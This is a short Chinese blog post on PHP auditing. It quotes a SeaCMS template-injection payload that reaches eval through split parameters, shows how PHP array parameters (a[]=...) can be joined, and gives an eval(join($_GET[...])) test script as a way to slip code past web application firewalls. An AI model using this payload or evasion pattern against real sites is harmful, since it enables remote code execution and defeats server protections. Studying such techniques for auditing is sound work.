为了账号安全,请及时绑定邮箱和手机立即绑定

php通过http请求发送数组

标签:
PHP

最近开始学习php审计,刚好赶上研究seacms,就发现了payload处一个奇怪的点

1searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

9[]=ph&9[]=pinfo();

就尝试了一下,发现在接收数据时,例:

键名=a,那传递a[]=a&a[]=b时,a即为一个数组,便做了个测试,果真如此

服务器端测试代码

<?php
    print_r($_GET[1]);
?>


测试结果如下

https://img1.sycdn.imooc.com//5b07bd540001f65304590220.jpg


那么这一个有什么用呢?思考了一下,如果服务器上有安全狗或者waf等防护工具,那么配合其他php函数,例如join函数,可能可以达到绕过效果

提供一个简单思路

服务器测试代码

<?php
    eval(join($_GET[123]));
?>


测试结果如下

https://img1.sycdn.imooc.com//5b07bd7300011da805970079.jpg


错误之处,敬请指正

点击查看更多内容
TA 点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
  • 推荐
  • 评论
  • 收藏
  • 共同学习,写下你的评论
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消